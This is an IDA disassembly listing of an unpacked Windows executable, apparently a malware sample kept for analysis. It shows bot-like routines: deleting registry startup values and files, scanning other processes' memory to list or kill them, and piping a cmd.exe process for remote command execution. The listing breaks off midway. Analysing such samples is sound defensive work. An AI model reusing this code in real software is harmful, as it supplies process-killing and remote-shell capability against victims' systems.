;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	505750B6E65D5878E825A1B7136F3383

; File Name   :	u:\work\505750b6e65d5878e825a1b7136f3383_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00021000 ( 135168.)
; Section size in file		: 00021000 ( 135168.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------

loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------

loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax

loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------

loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------

loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------

loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------

loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------

loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax

loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------

loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------

loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------

loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------

loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax

loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------

loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0

loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------

loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax

loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0

loc_401495:				; DATA XREF: .data:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------

loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax

loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB

loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------

loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax

loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------

loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------

loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------

loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------

loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------

loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx

loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------

loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------

loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------

loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------

loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------

loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------

loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------

loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------

loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------

loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7

loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------

loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------

loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------

loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"

loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DE24, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DE24
		call	dword_4170A4	; CloseHandle

loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DE18, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DE18
		call	dword_4170A4	; CloseHandle

loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DE1C, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DE1C
		call	dword_4170A4	; CloseHandle

loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DE20, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DE20
		call	dword_4170A4	; CloseHandle

loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922

loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------

loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------

loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------

loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DE2C, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957

loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------

loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DE2C, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DE20
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE30
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
		mov	dword_41DE24, eax
